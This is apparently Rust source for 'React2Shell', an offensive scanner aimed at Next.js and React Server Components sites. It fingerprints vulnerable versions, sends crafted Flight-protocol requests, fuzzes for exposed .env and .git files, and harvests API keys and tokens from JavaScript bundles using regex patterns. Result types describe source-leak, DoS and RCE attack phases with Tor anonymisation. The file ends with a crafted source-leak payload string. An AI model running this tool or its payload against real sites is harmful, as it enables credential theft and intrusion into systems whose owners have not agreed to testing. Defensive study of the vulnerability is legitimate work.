1use crate::error::{Result, WebAnalyzerError};
28use chrono::Utc;
29use regex::Regex;
30use reqwest::Client;
31use serde::{Deserialize, Serialize};
32use std::collections::HashSet;
33use std::time::{Duration, Instant};
34
35#[derive(Debug, Clone, Serialize, Deserialize)]
41pub struct VersionInfo {
42 pub version: String,
43 pub source: String,
44 pub context: String,
45}
46
47#[derive(Debug, Clone, Serialize, Deserialize)]
49pub struct DependencyInfo {
50 pub name: String,
51 pub version: String,
52 pub source: String,
53 pub context: String,
54}
55
56#[derive(Debug, Clone, Serialize, Deserialize)]
58pub struct SecretInfo {
59 pub secret_type: String,
60 pub value: String,
61 pub source: String,
62 pub context: String,
63}
64
65#[derive(Debug, Clone, Serialize, Deserialize)]
67pub struct ExposedFile {
68 pub path: String,
69 pub url: String,
70 pub context: String,
71}
72
73#[derive(Debug, Clone, Serialize, Deserialize)]
75pub struct ScanResult {
76 pub url: String,
77 pub is_nextjs: bool,
78 pub nextjs_version: Option<VersionInfo>,
79 pub react_version: Option<VersionInfo>,
80 pub rsc_enabled: bool,
81 pub vulnerable: bool,
82 pub dependencies: Vec<DependencyInfo>,
83 pub exposed_files: Vec<ExposedFile>,
84 pub secrets: Vec<SecretInfo>,
85 pub details: Vec<String>,
86 pub scan_duration_ms: u64,
87}
88
89#[derive(Debug, Clone, Serialize, Deserialize)]
91pub struct ReconResult {
92 pub target: String,
93 pub timestamp: String,
94 pub nextjs_version: Option<String>,
95 pub react_version: Option<String>,
96 pub is_app_router: bool,
97 pub rsc_endpoints: Vec<RscEndpoint>,
98 pub vulnerable: bool,
99}
100
101#[derive(Debug, Clone, Serialize, Deserialize)]
103pub struct RscEndpoint {
104 pub path: String,
105 pub method: String,
106 pub content_type: String,
107 pub notes: String,
108}
109
110#[derive(Debug, Clone, Serialize, Deserialize)]
112pub struct SourceLeakFinding {
113 pub pattern: String,
114 pub matched: String,
115 pub context: String,
116}
117
118#[derive(Debug, Clone, Serialize, Deserialize)]
120pub struct SourceLeakResult {
121 pub target: String,
122 pub success: bool,
123 pub bytes_leaked: usize,
124 pub leaked_source: String,
125 pub findings: Vec<SourceLeakFinding>,
126}
127
128#[derive(Debug, Clone, Serialize, Deserialize)]
130pub struct DosResult {
131 pub target: String,
132 pub baseline_ms: f64,
133 pub attack_elapsed_ms: f64,
134 pub dos_successful: bool,
135 pub server_recovered: bool,
136 pub effect_multiplier: f64,
137}
138
139#[derive(Debug, Clone, Serialize, Deserialize)]
141pub struct RceResult {
142 pub target: String,
143 pub success: bool,
144 pub poc_file_created: bool,
145 pub command_outputs: Vec<RceCommandOutput>,
146}
147
148#[derive(Debug, Clone, Serialize, Deserialize)]
150pub struct RceCommandOutput {
151 pub command: String,
152 pub output: String,
153 pub exit_code: i32,
154 pub error: String,
155}
156
157#[derive(Debug, Clone, Serialize, Deserialize)]
159pub struct AttackPhaseResult {
160 pub phase: String,
161 pub success: bool,
162 pub duration_ms: u64,
163 pub details: String,
164}
165
166#[derive(Debug, Clone, Serialize, Deserialize)]
168pub struct FullChainResult {
169 pub target: String,
170 pub timestamp: String,
171 pub phases: Vec<AttackPhaseResult>,
172 pub total_duration_ms: u64,
173 pub tor_enabled: bool,
174 pub scan: Option<ScanResult>,
175 pub recon: Option<ReconResult>,
176 pub source_leak: Option<SourceLeakResult>,
177 pub dos: Option<DosResult>,
178 pub rce: Option<RceResult>,
179}
180
181#[derive(Debug, Clone, Serialize, Deserialize)]
183pub struct AttackReport {
184 pub target: String,
185 pub generated_at: String,
186 pub scan: Option<ScanResult>,
187 pub recon: Option<ReconResult>,
188 pub source_leak: Option<SourceLeakResult>,
189 pub dos: Option<DosResult>,
190 pub rce: Option<RceResult>,
191 pub full_chain: Option<FullChainResult>,
192 pub summary: ReportSummary,
193}
194
195#[derive(Debug, Clone, Serialize, Deserialize)]
196pub struct ReportSummary {
197 pub rsc_active: bool,
198 pub framework_detected: bool,
199 pub version_found: bool,
200 pub vulnerability_verdict: String,
201 pub attack_phases_completed: Vec<String>,
202 pub risk_level: String,
203}
204
205const VULNERABLE_REACT: &[&str] = &[
211 "19.0.0", "19.1.0", "19.1.1", "19.2.0", "18.3.0-canary",
212];
213
214const VULNERABLE_NEXT: &[&str] = &[
216 "14.3.0-canary",
217 "15.0.0", "15.0.1", "15.0.2", "15.0.3", "15.0.4",
218 "15.1.0", "15.1.1", "15.1.2", "15.1.3", "15.1.4",
219 "15.1.5", "15.1.6", "15.1.7", "15.1.8",
220 "15.2.0", "15.2.1", "15.2.2", "15.2.3", "15.2.4", "15.2.5",
221 "15.3.0", "15.3.1", "15.3.2", "15.3.3", "15.3.4", "15.3.5",
222 "15.4.0", "15.4.1", "15.4.2", "15.4.3", "15.4.4",
223 "15.4.5", "15.4.6", "15.4.7",
224 "15.5.0", "15.5.1", "15.5.2", "15.5.3", "15.5.4",
225 "15.5.5", "15.5.6",
226 "16.0.0", "16.0.1", "16.0.2", "16.0.3", "16.0.4",
227 "16.0.5", "16.0.6",
228];
229
230const SENSITIVE_PATHS: &[&str] = &[
232 ".env", ".env.local", ".env.development", ".env.production", ".env.test",
233 ".git/config", ".git/HEAD", "package.json", "package-lock.json",
234 "docker-compose.yml", "Dockerfile", ".npmrc", "yarn.lock",
235 "next.config.js", "tsconfig.json", ".vscode/settings.json",
236 "web.config", "robots.txt",
237];
238
239const SECRET_PATTERNS: &[(&str, &str)] = &[
241 ("Google API Key", r"AIza[0-9A-Za-z\-_]{35}"),
242 ("Firebase URL", r"https://[a-z0-9\-]+\.firebaseio\.com"),
243 ("Slack Webhook", r"https://hooks\.slack\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+"),
244 ("AWS Access Key", r"AKIA[0-9A-Z]{16}"),
245 ("AWS Secret Key", r#"secret_?key\s*[:=]\s*['\"][0-9a-zA-Z/+]{40}['\"]"#),
246 ("JWT Token", r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*"),
247 ("GitHub Token", r"gh[oprs]_[a-zA-Z0-9]{36,}"),
248 ("Discord Webhook", r"https://discord\.com/api/webhooks/[0-9]+/[a-zA-Z0-9\-]+"),
249 ("Generic API Key", r#"(?:api_?key|auth_?token|access_?token)\s*[:=]\s*['\"][0-9a-zA-Z\-_]{16,}['\"]"#),
250];
251
252const SOURCE_LEAK_PATTERNS: &[&str] = &[
254 r"(?i)(api[_-]?key|api[_-]?secret)",
255 r"(?i)(db[_-]?password|database[_-]?url)",
256 r"(?i)(jwt[_-]?secret|signing[_-]?key)",
257 r"(?i)(token|bearer|auth)",
258 r"(?i)(postgresql://|mysql://|mongodb://)",
259 r"(?i)(sk_live|pk_live|sk_test)",
260];
261
262const JS_PRIORITY_KEYWORDS: &[&str] = &[
264 "framework", "main", "webpack", "app", "pages", "layout",
265];
266
267struct Color;
272
273impl Color {
274 pub const RED: &'static str = "\x1b[91m";
275 pub const GREEN: &'static str = "\x1b[92m";
276 pub const YELLOW: &'static str = "\x1b[93m";
277 #[allow(dead_code)]
278 pub const BLUE: &'static str = "\x1b[94m";
279 pub const MAGENTA: &'static str = "\x1b[95m";
280 pub const CYAN: &'static str = "\x1b[96m";
281 pub const WHITE: &'static str = "\x1b[97m";
282 pub const BOLD: &'static str = "\x1b[1m";
283 pub const DIM: &'static str = "\x1b[2m";
284 pub const RESET: &'static str = "\x1b[0m";
285 pub const BG_RED: &'static str = "\x1b[41m";
286 pub const BG_GREEN: &'static str = "\x1b[42m";
287}
288
289pub fn is_react_vulnerable(version: &str) -> bool {
295 VULNERABLE_REACT.iter().any(|v| version.starts_with(v))
296}
297
298pub fn is_nextjs_vulnerable(version: &str) -> bool {
300 VULNERABLE_NEXT.iter().any(|v| version.starts_with(v))
301}
302
303fn build_insecure_client() -> Result<Client> {
305 Client::builder()
306 .danger_accept_invalid_certs(true)
307 .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
308 .timeout(Duration::from_secs(15))
309 .build()
310 .map_err(|e| WebAnalyzerError::Http(e))
311}
312
313fn build_client_with_timeout(secs: u64) -> Result<Client> {
315 Client::builder()
316 .danger_accept_invalid_certs(true)
317 .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
318 .timeout(Duration::from_secs(secs))
319 .build()
320 .map_err(|e| WebAnalyzerError::Http(e))
321}
322
323fn context_window(text: &str, start: usize, end: usize, window: usize) -> String {
325 let s = if start > window { start - window } else { 0 };
326 let e = std::cmp::min(text.len(), end + window);
327 text[s..e].to_string()
328}
329
330pub struct React2ShellScanner {
339 target: String,
340 client: Client,
341 results: ScanResult,
342}
343
344impl React2ShellScanner {
345 pub async fn new(target: &str) -> Result<Self> {
347 let target = target.trim_end_matches('/').to_string();
348 Ok(Self {
349 target: target.clone(),
350 client: build_insecure_client()?,
351 results: ScanResult {
352 url: target,
353 is_nextjs: false,
354 nextjs_version: None,
355 react_version: None,
356 rsc_enabled: false,
357 vulnerable: false,
358 dependencies: Vec::new(),
359 exposed_files: Vec::new(),
360 secrets: Vec::new(),
361 details: Vec::new(),
362 scan_duration_ms: 0,
363 },
364 })
365 }
366
367 fn add_detail(&mut self, detail: &str) {
368 self.results.details.push(detail.to_string());
369 }
370
371 pub async fn analyze_headers(&mut self) -> Result<()> {
375 let resp = match self.client.head(&self.target).send().await {
376 Ok(r) => r,
377 Err(_) => {
378 self.add_detail("Header analysis: HEAD request failed, trying GET.");
379 self.client.get(&self.target).send().await.map_err(|e| {
380 WebAnalyzerError::Http(e)
381 })?
382 }
383 };
384
385 let headers = resp.headers();
386 let x_powered_by = headers
387 .get("x-powered-by")
388 .and_then(|v| v.to_str().ok())
389 .unwrap_or("")
390 .to_lowercase();
391
392 if x_powered_by.contains("next.js") {
393 self.results.is_nextjs = true;
394 self.add_detail("Header 'X-Powered-By' indicates Next.js.");
395
396 if let Ok(re) = Regex::new(r"next\.js\s*([\d\.]+)") {
398 if let Some(caps) = re.captures(&x_powered_by) {
399 let ver = caps.get(1).unwrap().as_str().to_string();
400 self.results.nextjs_version = Some(VersionInfo {
401 version: ver.clone(),
402 source: self.target.clone(),
403 context: format!("x-powered-by: {}", x_powered_by),
404 });
405 self.add_detail(&format!(
406 "Next.js version detected from headers: {}",
407 ver
408 ));
409 }
410 }
411 }
412
413 let has_nextjs_headers = headers
415 .keys()
416 .any(|k| k.as_str().to_lowercase().starts_with("x-nextjs"));
417 if has_nextjs_headers {
418 self.results.is_nextjs = true;
419 self.add_detail("Custom 'X-NextJS-*' headers detected.");
420 }
421
422 if let Some(cookie) = headers.get("set-cookie").and_then(|v| v.to_str().ok()) {
424 if cookie.contains("__prerender_bypass") {
425 self.results.is_nextjs = true;
426 self.add_detail("Next.js prerender bypass cookie detected.");
427 }
428 }
429 if headers.contains_key("x-invoke-path") {
430 self.results.is_nextjs = true;
431 self.add_detail("Next.js 'x-invoke-path' header detected.");
432 }
433
434 Ok(())
435 }
436
437 pub async fn fetch_static_bundles(&mut self) -> Result<()> {
441 let resp = self.client.get(&self.target).send().await.map_err(|e| {
442 WebAnalyzerError::Http(e)
443 })?;
444
445 let html = resp.text().await.map_err(|e| {
446 WebAnalyzerError::Other(format!("Failed to read response body: {}", e))
447 })?;
448
449 if let Ok(re) = Regex::new(
451 r#"<meta[^>]+name=["']generator["'][^>]+content=["']Next\.js\s+(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
452 ) {
453 if let Some(caps) = re.captures(&html) {
454 let ver = caps.get(1).unwrap().as_str().to_string();
455 if self.results.nextjs_version.is_none() {
456 let ctx = context_window(&html, caps.get(0).unwrap().start(), caps.get(0).unwrap().end(), 30);
457 self.results.nextjs_version = Some(VersionInfo {
458 version: ver.clone(),
459 source: self.target.clone(),
460 context: ctx,
461 });
462 self.results.is_nextjs = true;
463 self.add_detail(&format!(
464 "Next.js version detected from HTML meta tag: {}",
465 ver
466 ));
467 }
468 }
469 }
470
471 if html.contains("_next/static/chunks/app/")
473 || html.contains("app-pages-internals")
474 || html.contains("self.__next_f")
475 {
476 self.results.is_nextjs = true;
477 self.results.rsc_enabled = true;
478 self.add_detail("Next.js App Router detected (RSC active).");
479 } else if html.contains("id=\"__NEXT_DATA__\"") || html.contains("_next/static") {
480 self.results.is_nextjs = true;
481 self.add_detail("Next.js Pages Router or static file structure detected.");
482 }
483
484 if !self.results.is_nextjs {
486 let manifest_url = format!("{}/_next/build-manifest.json", self.target);
487 if let Ok(resp) = self.client.get(&manifest_url).send().await {
488 if resp.status().is_success() {
489 if let Ok(body) = resp.text().await {
490 if body.contains("pages") {
491 self.results.is_nextjs = true;
492 self.add_detail(
493 "/_next/build-manifest.json accessible — confirmed Next.js.",
494 );
495 }
496 }
497 }
498 }
499 }
500
501 let js_pattern = Regex::new(r"(/_next/static/[a-zA-Z0-9_/\-\.]+\.js)").unwrap();
503 let js_files: HashSet<String> = js_pattern
504 .find_iter(&html)
505 .map(|m| m.as_str().to_string())
506 .collect();
507
508 if !js_files.is_empty() {
509 self.add_detail(&format!(
510 "Found {} static JS files. Starting version analysis...",
511 js_files.len()
512 ));
513 self.extract_versions_from_js(js_files).await;
514 }
515
516 Ok(())
517 }
518
519 async fn extract_versions_from_js(&mut self, initial_js_files: HashSet<String>) {
521 let mut scanned: HashSet<String> = HashSet::new();
522 let mut to_scan: Vec<String> = initial_js_files.into_iter().collect();
523
524 to_scan.sort_by(|a, b| {
526 let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
527 let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
528 b_prio.cmp(&a_prio)
529 });
530
531 let max_files = 100usize;
532
533 while let Some(js_path) = to_scan.pop() {
534 if scanned.contains(&js_path) || scanned.len() >= max_files {
535 continue;
536 }
537 scanned.insert(js_path.clone());
538
539 let js_url = if js_path.starts_with("http") {
540 js_path.clone()
541 } else {
542 format!("{}{}", self.target, js_path)
543 };
544
545 let js_content = match self.client.get(&js_url).send().await {
546 Ok(resp) if resp.status().is_success() => match resp.text().await {
547 Ok(t) => t,
548 Err(_) => continue,
549 },
550 _ => continue,
551 };
552
553 let new_js_re = Regex::new(r#"["'](/[a-zA-Z0-9_/\-\.]+\.js)["']"#).unwrap();
555 let chunk_re = Regex::new(r"static/chunks/[a-zA-Z0-9_/\-\.]+\.js").unwrap();
556
557 for m in new_js_re.find_iter(&js_content) {
558 let path = m.as_str().trim_matches(&['"', '\''][..]).to_string();
559 if !scanned.contains(&path) && !to_scan.contains(&path) {
560 to_scan.push(path);
561 }
562 }
563 for m in chunk_re.find_iter(&js_content) {
564 let path = format!("/_next/{}", m.as_str());
565 if !scanned.contains(&path) && !to_scan.contains(&path) {
566 to_scan.push(path);
567 }
568 }
569
570 to_scan.sort_by(|a, b| {
572 let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
573 let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
574 b_prio.cmp(&a_prio)
575 });
576
577 let pkg_re = Regex::new(
579 r"/\*!\s*(?:[A-Za-z0-9_\-\.\@\/]+\s+)?([a-zA-Z0-9_\-\.\@\/]+)\s+[vV]?([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)\s*\*/",
580 )
581 .unwrap();
582
583 for caps in pkg_re.captures_iter(&js_content) {
584 let name = caps.get(1).unwrap().as_str().to_string();
585 let version = caps.get(2).unwrap().as_str().to_string();
586 if !self.results.dependencies.iter().any(|d| d.name == name) {
587 let ctx = context_window(
588 &js_content,
589 caps.get(0).unwrap().start(),
590 caps.get(0).unwrap().end(),
591 30,
592 );
593 self.results.dependencies.push(DependencyInfo {
594 name: name.clone(),
595 version: version.clone(),
596 source: js_url.clone(),
597 context: ctx,
598 });
599 self.add_detail(&format!("Dependency detected: {} (v{})", name, version));
600 }
601 }
602
603 let embedded_re = Regex::new(
605 r#"(?:name|pkg|package)\s*:\s*["']([a-zA-Z0-9_\-\.\@\/]+)["']\s*,\s*(?:version|ver)\s*:\s*["']([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)["']"#,
606 )
607 .unwrap();
608
609 for caps in embedded_re.captures_iter(&js_content) {
610 let name = caps.get(1).unwrap().as_str().to_string();
611 let version = caps.get(2).unwrap().as_str().to_string();
612 if name.len() > 1 && version.len() > 1
613 && !self.results.dependencies.iter().any(|d| d.name == name)
614 {
615 let ctx = context_window(
616 &js_content,
617 caps.get(0).unwrap().start(),
618 caps.get(0).unwrap().end(),
619 30,
620 );
621 self.results.dependencies.push(DependencyInfo {
622 name: name.clone(),
623 version: version.clone(),
624 source: js_url.clone(),
625 context: ctx,
626 });
627 self.add_detail(&format!(
628 "Embedded dependency detected: {} (v{})",
629 name, version
630 ));
631 }
632 }
633
634 if self.results.react_version.is_none() {
636 self.try_extract_react_version(&js_content, &js_url);
637 }
638
639 if self.results.nextjs_version.is_none() {
641 self.try_extract_nextjs_version(&js_content, &js_url);
642 }
643
644 self.detect_secrets(&js_content, &js_url);
646 }
647
648 if self.results.react_version.is_none() || self.results.nextjs_version.is_none() {
650 let health_url = format!("{}/api/health", self.target);
651 if let Ok(resp) = self.client.get(&health_url).send().await {
652 if resp.status().is_success() {
653 if let Ok(data) = resp.json::<serde_json::Value>().await {
654 if let Some(versions) = data.get("version") {
655 if self.results.react_version.is_none() {
656 if let Some(react_ver) = versions.get("react").and_then(|v| v.as_str()) {
657 self.results.react_version = Some(VersionInfo {
658 version: react_ver.to_string(),
659 source: health_url.clone(),
660 context: data.to_string(),
661 });
662 self.add_detail(&format!(
663 "/api/health revealed React version: {}",
664 react_ver
665 ));
666 }
667 }
668 if self.results.nextjs_version.is_none() {
669 if let Some(next_ver) = versions.get("next").and_then(|v| v.as_str()) {
670 self.results.nextjs_version = Some(VersionInfo {
671 version: next_ver.to_string(),
672 source: health_url.clone(),
673 context: data.to_string(),
674 });
675 self.add_detail(&format!(
676 "/api/health revealed Next.js version: {}",
677 next_ver
678 ));
679 }
680 }
681 }
682 }
683 }
684 }
685 }
686 }
687
688 fn try_extract_react_version(&mut self, js_content: &str, source_url: &str) {
689 let patterns = [
690 (r"react(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)", false),
691 (r#"reconcilerVersion\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, true),
692 (r#"(?:version|ReactVersion)\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, true),
693 (r#""react"\s*:\s*"[^"]*(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#, false),
694 (r"react-dom(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)", false),
695 ];
696
697 for (pattern, requires_react_context) in &patterns {
698 if let Ok(re) = Regex::new(pattern) {
699 if let Some(caps) = re.captures(js_content) {
700 let version = caps.get(1).unwrap().as_str().to_string();
701 if *requires_react_context {
702 let lower = js_content.to_lowercase();
703 if lower.contains("react")
704 || lower.contains("uselayouteffect")
705 || lower.contains("usestate")
706 {
707 let ctx = context_window(
708 js_content,
709 caps.get(0).unwrap().start(),
710 caps.get(0).unwrap().end(),
711 30,
712 );
713 self.results.react_version = Some(VersionInfo {
714 version: version.clone(),
715 source: source_url.to_string(),
716 context: ctx,
717 });
718 self.add_detail(&format!(
719 "React version detected in JS bundle: {}",
720 version
721 ));
722 return;
723 }
724 } else {
725 let ctx = context_window(
726 js_content,
727 caps.get(0).unwrap().start(),
728 caps.get(0).unwrap().end(),
729 30,
730 );
731 self.results.react_version = Some(VersionInfo {
732 version: version.clone(),
733 source: source_url.to_string(),
734 context: ctx,
735 });
736 self.add_detail(&format!(
737 "React version detected in JS bundle: {}",
738 version
739 ));
740 return;
741 }
742 }
743 }
744 }
745 }
746
747 fn try_extract_nextjs_version(&mut self, js_content: &str, source_url: &str) {
748 let patterns = [
749 (r"next(?:@|[\s\-\_]*v?)(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)", false),
750 (r#"window\.next\s*=\s*\{.*?version:\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, false),
751 (r#"(?:__NEXT_VERSION|nextVersion|version)\s*[:=]\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, true),
752 (r#""next"\s*:\s*"[^"]*(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#, false),
753 ];
754
755 for (pattern, requires_nextjs_context) in &patterns {
756 if let Ok(re) = Regex::new(pattern) {
757 if let Some(caps) = re.captures(js_content) {
758 let version = caps.get(1).unwrap().as_str().to_string();
759 if *requires_nextjs_context {
760 let lower = js_content.to_lowercase();
761 if lower.contains("next")
762 || lower.contains("app-router")
763 || lower.contains("window.next")
764 {
765 let ctx = context_window(
766 js_content,
767 caps.get(0).unwrap().start(),
768 caps.get(0).unwrap().end(),
769 30,
770 );
771 self.results.nextjs_version = Some(VersionInfo {
772 version: version.clone(),
773 source: source_url.to_string(),
774 context: ctx,
775 });
776 self.add_detail(&format!(
777 "Next.js version detected in JS bundle: {}",
778 version
779 ));
780 return;
781 }
782 } else {
783 let ctx = context_window(
784 js_content,
785 caps.get(0).unwrap().start(),
786 caps.get(0).unwrap().end(),
787 30,
788 );
789 self.results.nextjs_version = Some(VersionInfo {
790 version: version.clone(),
791 source: source_url.to_string(),
792 context: ctx,
793 });
794 self.add_detail(&format!(
795 "Next.js version detected in JS bundle: {}",
796 version
797 ));
798 return;
799 }
800 }
801 }
802 }
803 }
804
805 fn detect_secrets(&mut self, content: &str, source_url: &str) {
809 for (name, pattern) in SECRET_PATTERNS {
810 if let Ok(re) = Regex::new(pattern) {
811 for m in re.find_iter(content) {
812 let val = m.as_str().to_string();
813 if !self.results.secrets.iter().any(|s| s.value == val) {
814 let ctx = context_window(content, m.start(), m.end(), 30);
815 self.results.secrets.push(SecretInfo {
816 secret_type: name.to_string(),
817 value: val,
818 source: source_url.to_string(),
819 context: ctx,
820 });
821 self.add_detail(&format!(
822 "Secret detected: {} ({})",
823 name, source_url
824 ));
825 }
826 }
827 }
828 }
829 }
830
831 pub async fn check_flight_protocol(&mut self) -> Result<()> {
835 let headers: Vec<(&str, &str)> = vec![
836 ("RSC", "1"),
837 ("Content-Type", "text/x-component"),
838 ("Next-Action", "test-action"),
839 (
840 "Next-Router-State-Tree",
841 "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
842 ),
843 ];
844
845 let mut req = self.client.post(&self.target).body("[]".to_string());
846 for (k, v) in &headers {
847 req = req.header(*k, *v);
848 }
849
850 match req.send().await {
851 Ok(resp) => {
852 let resp_headers = resp.headers().clone();
853 let content_type = resp_headers
854 .get("content-type")
855 .and_then(|v| v.to_str().ok())
856 .unwrap_or("")
857 .to_lowercase();
858
859 if content_type.contains("text/x-component") {
860 self.results.rsc_enabled = true;
861 self.add_detail(
862 "Flight protocol active! Server supports RSC & Server Actions.",
863 );
864 } else if [400u16, 500].contains(&resp.status().as_u16()) {
865 if let Ok(body) = resp.text().await {
866 let lower = body.to_lowercase();
867 if lower.contains("action") || lower.contains("flight") {
868 self.results.rsc_enabled = true;
869 self.add_detail(
870 "Flight protocol error received. RSC active but payload rejected.",
871 );
872 }
873 }
874 }
875 }
876 Err(e) => {
877 self.add_detail(&format!("Flight protocol test error: {}", e));
878 }
879 }
880
881 Ok(())
882 }
883
884 pub async fn fuzz_sensitive_files(&mut self) -> Result<()> {
888 self.add_detail("Starting sensitive file fuzzing...");
889 self.results.exposed_files.clear();
890
891 for path in SENSITIVE_PATHS {
892 let url = format!("{}/{}", self.target, path.trim_start_matches('/'));
893 match self.client.get(&url).send().await {
894 Ok(resp) if resp.status().is_success() => {
895 let content_type = resp
896 .headers()
897 .get("content-type")
898 .and_then(|v| v.to_str().ok())
899 .unwrap_or("");
900 if content_type.contains("text/html") {
902 continue;
903 }
904 match resp.text().await {
905 Ok(body) => {
906 if body.len() < 100 || !body[..100].to_lowercase().contains("<html") {
907 let ctx = if body.len() > 200 {
908 format!("{}...", &body[..200])
909 } else {
910 body.clone()
911 };
912 self.results.exposed_files.push(ExposedFile {
913 path: path.to_string(),
914 url: url.clone(),
915 context: ctx,
916 });
917 self.add_detail(&format!("Exposed sensitive file: {} ({})", path, url));
918 }
919 }
920 Err(_) => {}
921 }
922 }
923 _ => {}
924 }
925 }
926
927 Ok(())
928 }
929
930 pub fn evaluate_vulnerability(&mut self) {
934 let mut is_react_vuln = false;
935 let mut is_next_vuln = false;
936
937 if let Some(ref ver_info) = self.results.react_version {
938 if is_react_vulnerable(&ver_info.version) {
939 is_react_vuln = true;
940 self.add_detail(&format!(
941 "React {} is in the vulnerable versions list!",
942 ver_info.version
943 ));
944 }
945 }
946
947 if let Some(ref ver_info) = self.results.nextjs_version {
948 if is_nextjs_vulnerable(&ver_info.version) {
949 is_next_vuln = true;
950 self.add_detail(&format!(
951 "Next.js {} is in the vulnerable versions list!",
952 ver_info.version
953 ));
954 }
955 }
956
957 if (is_react_vuln || is_next_vuln) && self.results.rsc_enabled {
959 self.results.vulnerable = true;
960 }
961 else if is_react_vuln || is_next_vuln {
963 self.add_detail("Vulnerable framework version used. RSC endpoint not confirmed but high risk.");
964 self.results.vulnerable = true;
965 }
966 else if self.results.is_nextjs && self.results.rsc_enabled && self.results.nextjs_version.is_none() {
968 self.add_detail("Version unknown but RSC active. Potentially vulnerable (Next.js 15+).");
969 self.results.vulnerable = true;
970 }
971 else if self.results.rsc_enabled
973 && self.results.react_version.is_none()
974 && self.results.nextjs_version.is_none()
975 {
976 self.add_detail("Versions not detected but RSC is active. Manual verification recommended.");
977 }
978 }
979
980 pub async fn scan(&mut self) -> Result<ScanResult> {
984 let start = Instant::now();
985
986 self.analyze_headers().await?;
987 self.fetch_static_bundles().await?;
988 self.check_flight_protocol().await?;
989 self.fuzz_sensitive_files().await?;
990 self.evaluate_vulnerability();
991
992 self.results.scan_duration_ms = start.elapsed().as_millis() as u64;
993 Ok(self.results.clone())
994 }
995}
996
997pub async fn run_recon(target: &str) -> Result<ReconResult> {
1003 let target = target.trim_end_matches('/').to_string();
1004 let client = build_insecure_client()?;
1005
1006 let mut is_app_router = false;
1007 let mut nextjs_version: Option<String> = None;
1008 let mut react_version: Option<String> = None;
1009 let mut rsc_endpoints: Vec<RscEndpoint> = Vec::new();
1010
1011 if let Ok(resp) = client.get(&format!("{}/api/health", target)).send().await {
1013 if resp.status().is_success() {
1014 if let Ok(data) = resp.json::<serde_json::Value>().await {
1015 if let Some(versions) = data.get("version") {
1016 nextjs_version = versions
1017 .get("next")
1018 .and_then(|v| v.as_str())
1019 .map(|s| s.to_string());
1020 react_version = versions
1021 .get("react")
1022 .and_then(|v| v.as_str())
1023 .map(|s| s.to_string());
1024 }
1025 }
1026 }
1027 }
1028
1029 if let Ok(resp) = client.get(&target).send().await {
1031 if resp.status().is_success() {
1032 if let Ok(html) = resp.text().await {
1033 if html.contains("_next/static/chunks/app/")
1035 || html.contains("app-pages-internals")
1036 {
1037 is_app_router = true;
1038 }
1039
1040 if react_version.is_none() {
1042 if let Ok(re) = Regex::new(r"react@([\d\.]+)") {
1043 if let Some(caps) = re.captures(&html) {
1044 react_version = Some(caps.get(1).unwrap().as_str().to_string());
1045 }
1046 }
1047 if react_version.is_none() {
1048 if let Ok(re) = Regex::new(r"React v([\d\.]+)") {
1049 if let Some(caps) = re.captures(&html) {
1050 react_version = Some(caps.get(1).unwrap().as_str().to_string());
1051 }
1052 }
1053 }
1054 }
1055 }
1056 }
1057 }
1058
1059 let mut rsc_headers: Vec<(&str, &str)> = Vec::new();
1061 rsc_headers.push(("Content-Type", "text/x-component"));
1062 rsc_headers.push(("Next-Action", "dummy-action-id"));
1063
1064 let mut req = client.post(&target).body("[]".to_string());
1065 for (k, v) in &rsc_headers {
1066 req = req.header(*k, *v);
1067 }
1068
1069 if let Ok(resp) = req.send().await {
1070 let ct = resp
1071 .headers()
1072 .get("content-type")
1073 .and_then(|v| v.to_str().ok())
1074 .unwrap_or("");
1075 if ct.contains("text/x-component")
1076 || (resp.status().as_u16() >= 400
1077 && resp.status().as_u16() < 600
1078 && {
1079 resp.text().await
1080 .map(|b| b.contains("Server Action") || b.contains("Error"))
1081 .unwrap_or(false)
1082 })
1083 {
1084 rsc_endpoints.push(RscEndpoint {
1085 path: "/".to_string(),
1086 method: "POST".to_string(),
1087 content_type: "text/x-component".to_string(),
1088 notes: "Server Action / RSC compatible".to_string(),
1089 });
1090 }
1091 }
1092
1093 let nv = nextjs_version.clone();
1094 let rv = react_version.clone();
1095
1096 Ok(ReconResult {
1097 target: target.clone(),
1098 timestamp: Utc::now().to_rfc3339(),
1099 nextjs_version: nv,
1100 react_version: rv,
1101 is_app_router,
1102 rsc_endpoints,
1103 vulnerable: check_versions_vulnerable(&nextjs_version, &react_version),
1104 })
1105}
1106
1107fn check_versions_vulnerable(nextjs: &Option<String>, react: &Option<String>) -> bool {
1108 if let Some(ref nv) = nextjs {
1109 if is_nextjs_vulnerable(nv) {
1110 return true;
1111 }
1112 }
1113 if let Some(ref rv) = react {
1114 if is_react_vulnerable(rv) {
1115 return true;
1116 }
1117 }
1118 false
1119}
1120
1121pub fn craft_leak_payload() -> String {
1127 "0:[[\"$\",\"@source\",null,{\"type\":\"module\",\"request\":\"server_function_source\",\"expose\":true}]]"
1128 .to_string()
1129}
1130
